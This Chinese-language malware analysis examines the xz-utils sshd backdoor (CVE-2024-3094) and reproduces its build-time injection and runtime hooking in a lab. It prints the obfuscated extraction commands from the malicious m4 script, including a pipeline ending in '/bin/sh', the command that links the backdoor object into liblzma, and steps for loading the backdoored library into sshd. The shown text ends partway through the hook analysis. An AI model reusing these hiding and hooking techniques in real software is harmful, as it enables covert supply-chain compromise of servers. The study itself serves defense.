xz-utils 是一种使用 LZMA 算法的数据压缩/解压工具,文件后缀名通常为
*.xz
,是 Linux 下广泛使用的压缩格式之一。
2024.03.29 由微软工程师 Andres Freund 披露了开源项目 xz-utils 存在的后门漏洞,漏洞编号为 CVE-2024-3094,其通过供应链攻击的方式劫持 sshd 服务的身份认证逻辑,从而实现认证绕过和远程命令执行,该后门涉及 liblzma.so 版本为 5.6.0 和 5.6.1,
影响范围
包括 Debian、Ubuntu、Fedora、CentOS、RedHat、OpenSUSE 等多个主流 Linux 发行版,具体影响版本主要是以上发行版的测试版本和实验版本。
截止本文发布,距离 xz-utils 后门披露已经过去一段时间,全球安全研究人员在互联网上发布了大量的高质量分析报告,这有助于我们对于xz-utils后门事件有一个全面的理解。本文将以这些分析报告为基础,进行翻译、整理和复现,并针对xz-utils后门代码部分展开分析研究,以了解攻击者的技术方案和实施细节,从而在防御角度提供一定的技术支持。
本文实验环境
Debian 12 x64
xz-utils/liblzma.so 5.6.1
IDA / GDB
xz-utils 源代码托管在 Github 上,根据后门相关代码的提交记录可以定位攻击者是 Github 用户 JiaT75,其花费了近两年时间潜伏在 xz-utils 项目中,不断的为该项目贡献代码(最早可追溯到2022.02.07第一次提交代码),最终获得 xz-utils 仓库的直接维护权限,为构建后门打下了基础。
攻击者将后门目标定向至 sshd 服务,这能使后门在具备隐蔽
性的同时产生更大的攻击效益,不过默认情况下 sshd 服务和 xz-utils 并没有联系;部分 Linux 发行版(以Debian为例)在
openssh-server
中引入了
libsystemd0
依赖,用于 sshd 进程和守护进程 systemd 进行通信,而
libsystemd0
依赖了
liblzma5
,于是构建后门拥有了一条可行路径,如下:
在 sshd 服务的「证书验证」身份认证逻辑中,其关键函数
RSA_public_decrypt()*
会使用公钥对用户发送的数据进行签名验证,签名验证成功则表示身份认证成功;攻击者则通过 liblzma5 实现对
RSA_public_decrypt()*
函数的劫持替换,在替换的函数中内置了自己的公钥,并在认证成功后提供了命令用于执行功能,以此方式实现了后门,如下:
图2-2
RSA_public_decrypt()
身份认证函数
攻击者为了实现对
RSA_public_decrypt()*
函数的劫持替换,同时保持整个过程的隐蔽性和后门的兼容性,
使用了
非常复杂的实
施
方案,具体实施过程可大致分为三个环节:
-
liblzma5编译环节:攻击者将后门代码隐藏在 xz-utils 源码中,并修改编译脚本,在编译时将后门代码添加到
liblzma5.so
库中;
-
sshd启动环节:sshd启动时将间接加载
liblzma5.so
库,通过 IFUNC 和 rtdl-audit 机制实现对
RSA_public_decrypt()*
函数的劫持替换;
-
RSA_public_decrypt()*
后门生效环节:攻击者使用私钥签名证书,使用证书连接 sshd 服务进行身份认证,触发
RSA_public_decrypt()*
后门代码;
实施过程如下:
首先我们搭建分析环境,由于 xz-utils 后门事件披露后各 Linux 发行版为降低影响范围对 xz-utils/liblzma.so 进行了版本回退,以及攻击者只在 tarball 中分发包含后门代码的项目源码(即与 Github 项目主页的代码不一致,增加后门代码的隐蔽性),因此我们需要在下游发行版指定 commit 才能获取包含后门代码的源代码(xz-utils-debian),或者通过 web-archive 下载 xz-utils 的 tarball 源代码。
下载并解压源码后,使用如下命令编译 xz-utils 项目:
# [xz-utils] source directory
$ ./configure
$ make
编译成功后会生成
[src]/src/liblzma/.libs/liblzma.so.5.6.1
目标二进制文件,包含后门代码的 liblzma5.so 尺寸明显大于正常版本,如下:
图3-1 编译liblzma5.so以及比较
攻击者将后门代码隐藏在xz-utils的源码中,并通过控制编译脚本的运行,实现源代码在编译过程中将后门代码植入到
liblzma5.so
库。这一步骤是后门植入的切入点,也是代码层面整个攻击流程的起点。流程示意图如下:
1.build-to-host.m4
首先我们关注后门编译脚本
[src]/m4/build-to-host.m4
文件,这是 m4 宏文件,其将随着
configure && make
命令进行宏展开并执行,
AC_DEFUN(gl_BUILD_TO_HOST_INIT)
的代码将最先被执行,如下:
图4-2 build-to-host脚本查找后门文件
这里通过
grep
命令查找文件内容符合
#{4}[[:alnum:]]{5}#{4}$
特征的后门文件,即
[src]/tests/files/bad-3-corrupt_lzma2.xz
,测试执行如下:
图4-3 查找bad-3-corrupt_lzma2.xz后门文件
2.bad-3-corrupt_lzma2.xz
随后执行
AC_DEFUN(gl_BUILD_TO_HOST)
的代码,这里先对系统环境进行检查和适配,随后从
bad-3-corrupt_lzma2.xz
后门文件中提取文件内容,关键代码如下:
图4-4 bad-3-corrupt_lzma2.xz提取内容
结合上下文,该行代码实际执行如下,使用
sed
命令读取
bad-3-corrupt_lzma2.xz
文件内容,使用
tr
命令按
[\t -_]=>[ \t_-]
的对应关系进行字符替换,随后使用
xz
命令进行解压:
sed "r\n" bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d
解压后将获得 bash 脚本文件helloworld.sh,其内容如下:
图4-5 bad-3-corrupt_lzma2.xz提取的脚本
这里使用
AC_CONFIG_COMMANDS
注册了
build-to-host
命令,后续调用该命令时就会执行
eval $gl_config_gt
代码,即
helloworld.sh
脚本文件。
3.good-large_compressed.lzma
helloworld.sh
脚本同样先对环境进行了检查,随后使用
xz
命令解压
[src]/tests/files/good-large_compressed.lzma
后门文件,使用
head
和
tail
命令截取文件内容,再次使用
tr
命令对内容进行字符替换,最后使用
xz
命令对嵌套的文件进行解压,整理后的关键命令如下:
xz -dc $srcdir/tests/files/good-large_compressed.lzma |
eval $i |
tail -c +31233 |
tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377") |
xz -F raw --lzma1 -dc |
/bin/sh
此处通过
xz -F raw --lzma1 -dc
命令解压将得到新的 bash 脚本文件decompressed.sh。
4.decompressed.sh
decompressed.sh
这个脚本的代码较长,大多为环境检查和兼容性调整,最关键的代码有三段,第一段代码如下:
图4-6 decompressed.sh脚本grep预埋代码
依然是熟悉的操作,使用
grep
在源代码文件夹中寻找匹配规则的文件内容,通过
cut
命令截取内容,通过
tr
命令按字符替换,最后使用
xz
命令解压。但在源代码文件夹中我们没有发现符合规则的文件,这可能是攻击者为后续攻击预埋的代码。
脚本中
grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null
处代码同理。
5.liblzma_la-crc64-fast.o
第二段代码生成的目标二进制文件
liblzma_la-crc64-fast.o
如下:
图4-7 decompressed.sh脚本生成
liblzma_la-crc64-fast.o
此处
$p=good-large_compressed.lzma
,
$i
为上文中的
head
命令截取文件内容的代码,对截取的内容再通过 RC4 解密获得压缩文件,通过
xz
命令解压最终获得目标二进制文件
liblzma_la-crc64-fast.o
,如下:
图4-8
liblzma_la-crc64-fast.o
文件信息
6.crc64_fast.c
第三段代码则对源码
crc64_fast.c
进行了修改,将后门的入口代码添加在此处,如下:
图4-9 decompressed.sh脚本修改
crc64_fast.c
源码
这里
crc32_fast.c
为了保证更好的兼容性,不再进行赘述。
通过
diff
命令来查看
crc64_fast.c
源码的修改,如下:
对比代码可以看到攻击者使用
_is_arch_extension_supported()
替换了原始函数
is_arch_extension_supported()
,在内联函数
_is_arch_extension_supported()
中调用了外部函数
_get_cpuid()
。
而外部函数
_get_cpuid()
正隐藏在
liblzma_la-crc64-fast.o
中,攻击者使用如下编译命令,将后门二进制文件
liblzma_la-crc64-fast.o
和修改后的
crc64_fast.c
源码编译进原本的
liblzma_la-crc64_fast.o
目标文件中(注意下划线的微小差异):
$CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r liblzma_la-crc64-fast.o -x c - $P -o .libs/liblzma_la-crc64_fast.o 2>/dev/null
对比正常版本下的
liblzma_la-crc64_fast.o
,我们可以发现明显大小差异:
图4-11
liblzma_la-crc64_fast.o
比较
而随后包含后门代码的
liblzma_la-crc64_fast.o
将自然而然的被编译链接到库文件
liblzma5.so
中,完成后门的植入工作。
sshd 服务启动时将间接加载
liblzma5.so
库,通过 IFUNC 和 rtdl-audit 机制实现对
RSA_public_decrypt()*
函数的劫持替换,这是后门执行的入口点。流程示意图如下:
我们可以使用
LD_PRELOAD/LD_LIBRARY_PATH
来指定 sshd 加载恶意的
liblzma5.so
库,由于后门代码还对环境变量进行了检查,我们还需要使用
env -i
清空环境变量;完整的动态调试执行命令如下:
# cp xz-utils-5.6.1/src/liblzma/.libs/liblzma.so.5.6.1 liblzma.so.5
$ su root
$ env -i LD_LIBRARY_PATH=/home/debian/xz/ /usr/sbin/sshd -D -p 2222
此处注意
LD_LIBRARY_PATH
需要使用绝对路径,避免子进程无法找到指定的恶意
liblzma.so.5
。
执行如下:
1.IFUNC函数
通过上文后门植入的过程分析,我们可以看到后门执行的入口点位于
crc64_fast.c
的
crc64_resolve()
函数下,后门代码如下:
......
lzma_resolver_attributes
static crc64_func_type
crc64_resolve(void)
{
return _is_arch_extension_supported()
? &crc64_arch_optimized : &crc64_generic;
}
......
#ifdef CRC_USE_IFUNC
extern LZMA_API(uint64_t)
lzma_crc64(const uint8_t *buf, size_t size, uint64_t crc)
__attribute__((__ifunc__("crc64_resolve")));
#else
......
lzma_crc64()
是一个指向
crc64_resolve()
的 IFUNC 函数,IFUNC 是一种动态函数的实现方案,由动态加载器调用并绑定具体的函数,这个时机甚至早于 GDB 的
catch load
异常断点,无法通过常规断点动态调试此处代码逻辑。
这里通过二进制补丁的方式打断点,使用
objdump -D liblzma.so.5 | grep crc64_resolve
找到函数偏移,修改函数的第一个字节为
0xCC
从而打下断点,其函数调用栈如下:
图5-3
IFUNC-crc64_resolve
函数调用栈
GDB 调试断在此处后,需要手动使用
set {char}0x7ffff74a2ea0=0x55, set $rip=0x7ffff74a2ea0
命令恢复原始指令
push ebp
和重置
$rip
,随后才可以进行正常调试。
在 IDA 中分析
crc64_resolve()
函数,也就是
lzma_crc64()
函数,其中
get_cpuid()
是后门代码的入口调用点,如下:
逐步跟入
get_cpuid()
函数至
sub_4764()
,该函数使用 GOT 表重写的方式修改了
cpuid()
函数地址,这里调用
cpuid()
实际调用了
sub_21240()/backdoor_init_stage2()
函数,为静态分析制造了一定的难度,如下:
2.backdoor_init_stage2
在 IDA 中跳到
sub_21240()/backdoor_init_stage2()
函数,其关键代码片段如下:
图5-6
backdoor_init_stage2
函数代码
其中
sub_12020()/backdoor_vtbl_init()
用于后门初始化全局函数调用表,如下:
图5-7
backdoor_vtbl_init
函数代码
sub_21C90()/parse_elf_init()
则是后门初始化的主函数,主要通过解析 ELF 文件格式找到目标函数进行劫持替换(由于此处函数代码调用处于 IFUNC 的调用生命周期中,因此导入导出表尚未加载);该函数代码量较大,我们找几处关键点进行分析。
3.check_conditions
首先跟入
sub_12E00()
其内部调用
sub_12920()/check_conditions()
函数进行运行环境检查,首先检查进程名是否为
/usr/sbin/sshd
,随后对环境变量进行检查,如下:
图5-8
check_conditions
函数代码
通过分析
trie_getkey()
表项数据,这里检查了环境变量不能包含以下项:
DISPLAY=
LD_AUDIT=
LD_BIND_NOT=
LD_DEBUG=
LD_PROFILE=
LD_USE_LOAD_BIAS=
LINES=
TERM=
WAYLAND_DISPLAY=
yolAbejyiejuvnup=Evjtgvsh5okmkAvj
4.process_shared_libraries_map
随后跟入
sub_16590()
其内部调用
sub_149B0()/process_shared_libraries_map()
函数解析目标 so 库的基地址,如下:
图5-9
process_shared_libraries_map
函数代码
其解析的 so 库按序如下:
sshd
ld-linux-x86-64.so
liblzma.so
libcrypto.so
libsystemd.so
libc.so
5.注册rtld-audit
后续代码则根据 so 库再进一步解析目标函数的地址。更为关键的代码在
sub_21240()/backdoor_init_stage2()+0x207c
处,这里通过构造
audit_ifaces
结构体向动态装载器(
ld.so
)手动注册审计函数
symbind64()
,如下:
图5-10 构造
audit_ifaces
结构体注册审计函数
symbind64()
将在动态加载器(
ld.so
)每次装载导出函数时被调用,攻击者则瞄准这个时机实现对目标函数的劫持替换,除此之外
LD_AUDIT
的执行时机早于
LD_PRELOAD
,能够绕过部分安全检测机制。
这实际使用了 rtld-audit 机制,等价于在常规开发中的编写审计功能库,定义并实现
la_symbind64
函数,常规使用环境变量进行加载如
LD_AUDIT=./audit.so ./test
。
按照如上分析,我们动态调试在
sub_ABB0()/install_hook()
函数处打下断点,此时函数调用栈如下:
图5-11
rtld-audit
调用流程中的
install_hook
函数
由于 rtld-audit 机制被调用时也非常早,这里我们很难打下断点,比较简单的方式是在未开启地址随机化的情况下,先运行一次程序,然后按照
sub_ABB0()
函数的偏移地址使用
hbreak
打下硬件断点,重新运行即可断下。
6.install_hook
跟入
sub_ABB0()/install_hook()
函数,其通过
trie_getkey()
比较当前函数名称是否为目标函数,若匹配则使用 hook 函数对其进行替换,如下:
图5-12
install_hook
函数对目标函数进行hook
攻击者在这里设置了如下三个 hook 函数来提高成功率,其中任一函数 hook 成功后则退出,并调用
sub_CFA0()
清理 rtld-audit 的痕迹。
RSA_public_decrypt()
EVP_PKEY_set1_RSA()
RSA_get0_key()
到这里攻击者就实现了对认证函数的劫持替换,完成了后门代码的安装工作。
攻击者虽然设置了三个 hook 函数,但于
RSA_public_decrypt()
在
libcrypto.so
中最靠前,所以优先级最高,本文我们主要分析
RSA_public_decrypt_hook()
的代码。该环节的流程示意图如下:
RSA_public_decrypt()
函数位于 sshd 服务身份认证的证书认证流程中,我们可以使用
ssh-keygen
命令生成并签名一个证书用于测试:
# 生成 test_ca 公私钥
ssh-keygen -t rsa -b 4096 -f test_ca -C test_ca
# 生成 user_key 公私钥
ssh-keygen -t rsa -b 4096 -f user_key -C user_key
# 使用 test_ca 对 user_key 生成证书
ssh-keygen -s test_ca -I [email protected] -n test-user -V +52w user_key.pub
# 查看证书信息
ssh-keygen -L -f user_key-cert.pub
# 使用证书连接服务器进行认证
ssh -i user_key-cert.pub [email protected] -p 2222
ssh的三种身份认证:1.密码认证;2.公私钥认证;3.证书认证
使用 GDB 在
sub_164B0()/RSA_public_decrypt_hook()
处打下断点,ssh 客户端使用证书认证连接服务器,此时调用栈如下:
图6-2
RSA_public_decrypt_hook
函数调用栈
跟入
sub_164B0()/RSA_public_decrypt_hook()
的代码,关键代码为调用后门主函数代码
sub_16710()/hook_main()
,随后根据后门代码的执行结果,按需执行原始的
RSA_public_decrypt()
函数,回归正常的身份认证逻辑,如下:
图6-3
RSA_public_decrypt_hook
函数代码
在
sub_16710()/hook_main()
函数中,首先从认证报文中提取密钥 n,e 等信息并对报文结构进行检查,如下检查协议报文 magic number 计算结果小于等于 3,这也是攻击命令的取值:
图6-4
hook_main
函数检查报文magic number